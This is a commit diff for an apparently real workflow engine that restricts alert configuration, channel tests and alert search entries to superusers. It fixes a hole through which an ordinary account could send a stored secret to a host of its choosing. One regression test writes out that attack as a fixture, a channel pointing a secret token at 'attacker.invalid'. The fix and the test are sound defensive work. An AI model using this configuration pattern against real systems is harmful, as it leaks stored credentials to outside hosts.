Alerts: configuration, test and search entries are a superuser's; subscribing a browser stays open

Any signed-in account could save an ntfy channel with its own `server` and a
`{"$secret": ...}` token and press Test, which sent the stored secret to that
host. The config GET/PUT, the test route and the global search's alert entries
now answer to superusers, like /secrets. The webpush key and subscribe routes
stay open to every account, and the Alerts page shows a non-superuser only the
button for its own browser. The events table in the docs gains run_finished.
This commit is contained in:
2026-10-28 12:40:44 +01:00
parent 29f4d93c2a
commit 2dc20911a3
8 changed files with 153 additions and 14 deletions
+16 -4
View File
@@ -7,15 +7,27 @@ from fastapi import APIRouter, Depends, HTTPException
from fastapi.concurrency import run_in_threadpool
from pydantic import BaseModel
from fluksio.api.deps import FlowControllerDep, get_current_user
from fluksio.api.deps import (
FlowControllerDep,
get_current_active_superuser,
get_current_user,
)
from fluksio.core.config import settings
from fluksio.flow import webpush
from fluksio.flow.alerts import Alert, AlertsConfig
from fluksio.models import Message
# Reading or changing where alerts go is a superuser's: a channel setting may
# hold a `{"$secret": ...}` reference that `send` resolves, and the url or
# server beside it is the sender's to choose, so an ordinary account could
# point a stored credential at a host of its own and press Test. The topic of
# an ntfy channel and a webhook's url are credentials too, so reading is gated
# as well. Subscribing a browser stays open to every account: it only says
# where *this* device can be reached.
router = APIRouter(
prefix="/alerts", tags=["alerts"], dependencies=[Depends(get_current_user)]
)
SUPERUSER = [Depends(get_current_active_superuser)]
def _path() -> Path:
@@ -41,13 +53,13 @@ def write_config(config: AlertsConfig) -> None:
path.write_text(config.model_dump_json(indent=2))
@router.get("/config", response_model=AlertsConfig)
@router.get("/config", response_model=AlertsConfig, dependencies=SUPERUSER)
async def read_alerts_config() -> Any:
"""What the engine alerts on, and where it sends it."""
return await run_in_threadpool(read_config)
@router.put("/config", response_model=AlertsConfig)
@router.put("/config", response_model=AlertsConfig, dependencies=SUPERUSER)
async def save_alerts_config(body: AlertsConfig, controller: FlowControllerDep) -> Any:
"""Replace the configuration. Takes effect immediately."""
known = {channel.name for channel in body.channels}
@@ -95,7 +107,7 @@ async def remove_webpush_subscription(body: Unsubscribe) -> Any:
return Message(message="This browser will no longer be notified")
@router.post("/test/{channel_name}", response_model=Message)
@router.post("/test/{channel_name}", response_model=Message, dependencies=SUPERUSER)
async def test_channel(channel_name: str, controller: FlowControllerDep) -> Any:
"""Send one alert, to prove the channel works before relying on it."""
if controller.alerts is None:
+8 -5
View File
@@ -252,10 +252,12 @@ def _build(
for worker in (hub.workers() if hub is not None else [])
)
entries.extend(
SearchEntry(category="alert", name=channel.name, kind=channel.kind)
for channel in read_alerts_config().channels
)
# Named only to a superuser, like the secrets: `/alerts` answers to them.
if secrets:
entries.extend(
SearchEntry(category="alert", name=channel.name, kind=channel.kind)
for channel in read_alerts_config().channels
)
return entries
@@ -273,7 +275,8 @@ async def read_search_index(
instance of any ordinary size, so one fetch when the panel opens beats a
round trip per keystroke — and the client already has a matcher.
Secrets are named only to a superuser, which is who ``/secrets`` answers to.
Secrets and alert channels are named only to a superuser, which is who
``/secrets`` and ``/alerts`` answer to.
"""
# Absent when remote workers are switched off — not a reason to fail a search.
hub = getattr(request.app.state, "worker_hub", None)
+76
View File
@@ -64,3 +64,79 @@ def test_an_unknown_channel_is_a_404(
response = client.post(f"{PREFIX}/test/nowhere", headers=superuser_token_headers)
assert response.status_code == 404
def test_an_ordinary_account_cannot_read_or_change_the_alert_setup(
client: TestClient, normal_user_token_headers: dict[str, str]
) -> None:
"""Channels hold credential references, topics and urls: a superuser's."""
config = {"channels": [], "rules": []}
assert (
client.get(f"{PREFIX}/config", headers=normal_user_token_headers).status_code
== 403
)
assert (
client.put(
f"{PREFIX}/config", headers=normal_user_token_headers, json=config
).status_code
== 403
)
assert (
client.post(
f"{PREFIX}/test/phone", headers=normal_user_token_headers
).status_code
== 403
)
def test_a_stored_secret_cannot_be_pointed_at_a_host_an_ordinary_account_chose(
client: TestClient,
superuser_token_headers: dict[str, str],
normal_user_token_headers: dict[str, str],
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""An ntfy `server` plus a `$secret` token used to send the secret there."""
import httpx
client.put(
f"{settings.API_V1_STR}/secrets/vault-token",
headers=superuser_token_headers,
json={"value": "S3CRET"},
)
reached: list[str] = []
async def post(_self: Any, url: Any, **_kwargs: Any) -> httpx.Response:
reached.append(str(url))
return httpx.Response(200, request=httpx.Request("POST", url))
monkeypatch.setattr(httpx.AsyncClient, "post", post)
config = {
"channels": [
{
"name": "x",
"kind": "ntfy",
"config": {
"server": "http://attacker.invalid",
"topic": "t",
"token": {"$secret": "vault-token"},
},
}
],
"rules": [],
}
client.put(f"{PREFIX}/config", headers=normal_user_token_headers, json=config)
client.post(f"{PREFIX}/test/x", headers=normal_user_token_headers)
assert reached == []
def test_any_account_can_subscribe_its_own_browser(
client: TestClient, normal_user_token_headers: dict[str, str]
) -> None:
"""Where this device can be reached is not a superuser's to hold."""
response = client.get(f"{PREFIX}/webpush/key", headers=normal_user_token_headers)
assert response.status_code == 200
assert response.json()["key"]
+22
View File
@@ -2,6 +2,7 @@
from typing import Any
import pytest
from fastapi.testclient import TestClient
from fluksio.api.routes.search import MASK, setting_text
@@ -190,3 +191,24 @@ def test_index_lists_a_nodes_settings(
assert found["hook.secret"]["detail"] == "secret"
assert "hook_secret" not in text
assert "s3cr3t-value" not in text
def test_alert_channels_are_named_only_to_a_superuser(
client: TestClient,
superuser_token_headers: dict[str, str],
normal_user_token_headers: dict[str, str],
tmp_path: Any,
monkeypatch: pytest.MonkeyPatch,
) -> None:
from fluksio.api.routes.alerts import write_config
from fluksio.flow.alerts import AlertsConfig, Channel
monkeypatch.setattr(settings, "ALERTS_FILE", tmp_path / "alerts.json")
write_config(AlertsConfig(channels=[Channel(name="phone", kind="ntfy")]))
def channels(headers: dict[str, str]) -> set[str]:
entries = client.get(f"{PREFIX}/", headers=headers).json()
return {e["name"] for e in entries if e["category"] == "alert"}
assert channels(superuser_token_headers) == {"phone"}
assert channels(normal_user_token_headers) == set()
+4 -1
View File
@@ -220,8 +220,11 @@ reclaiming space sooner.
| `POST` | `/modules/apply` | replace the manifest with `{"requirements": "numpy>=2\n"}` |
| `GET`, `PUT` | `/alerts/config` | read or update alert configuration |
| `POST` | `/alerts/test/{channel}` | test a channel |
| `GET` | `/alerts/webpush/key` | the key a browser subscribes against; any account |
| `POST` | `/alerts/webpush/subscriptions`, `/alerts/webpush/unsubscribe` | add or remove the calling browser; any account |
Secrets and package changes require a superuser. Applying a manifest replaces
Secrets, package changes and the alert configuration require a superuser. Any
account can subscribe its own browser. Applying a manifest replaces
the whole managed environment's package list. Adopted environments are read-only
here; install their packages yourself.
+4 -1
View File
@@ -50,7 +50,9 @@ with `fluksio-worker --python /path/to/venv/bin/python`. See
## Alerts
Create a channel, choose events in a rule, and use **Test** to check delivery.
Enable alerts for the rules to send.
Enable alerts for the rules to send. Channels and rules belong to superusers,
whose Alerts page holds them. Any other account sees only the button that
subscribes its own browser to a **webpush** channel.
### Channels
@@ -79,6 +81,7 @@ matches every supported alert event, including future additions.
| `engine_degraded` | engine health degrades |
| `cascade_dropped` | the engine drops work |
| `queue_unavailable` | the work queue becomes unreachable |
| `run_finished` | a batch run ends in error |
Repeated faults are deduplicated with a 15-minute default cooldown.
Flapping connections are suppressed, and the engine caps alert dispatches at
+2 -1
View File
@@ -2975,7 +2975,8 @@ export class SearchService {
* instance of any ordinary size, so one fetch when the panel opens beats a
* round trip per keystroke — and the client already has a matcher.
*
* Secrets are named only to a superuser, which is who ``/secrets`` answers to.
* Secrets and alert channels are named only to a superuser, which is who
* ``/secrets`` and ``/alerts`` answer to.
* @returns SearchEntry Successful Response
* @throws ApiError
*/
+21 -2
View File
@@ -17,6 +17,7 @@ import {
SelectValue,
} from "@/components/ui/select"
import { Switch } from "@/components/ui/switch"
import useAuth from "@/hooks/useAuth"
import useCustomToast from "@/hooks/useCustomToast"
import * as webpush from "@/lib/webpush"
import { handleError } from "@/utils"
@@ -152,9 +153,14 @@ function ThisBrowser() {
}
function Alerts() {
// Channels and rules are a superuser's: `/alerts/config` answers to them.
// Every account can still subscribe the browser in front of it.
const { user } = useAuth()
const mayConfigure = Boolean(user?.is_superuser)
const { data } = useQuery({
queryKey: alertsKey,
queryFn: () => AlertsService.readAlertsConfig(),
enabled: mayConfigure,
})
return (
@@ -162,10 +168,23 @@ function Alerts() {
<div className="grid gap-1">
<h1 className="text-2xl">Alerts</h1>
<p className="text-sm text-muted-foreground">
Where the engine goes when something breaks.
{mayConfigure
? "Where the engine goes when something breaks."
: "Hear from the engine on this device when something breaks."}
</p>
</div>
{data ? <AlertsForm initial={data} /> : null}
{mayConfigure ? (
data ? (
<AlertsForm initial={data} />
) : null
) : user ? (
<div
className="rounded-lg border border-border bg-card p-4 shadow-e1"
data-testid="this-browser"
>
<ThisBrowser />
</div>
) : null}
</div>
)
}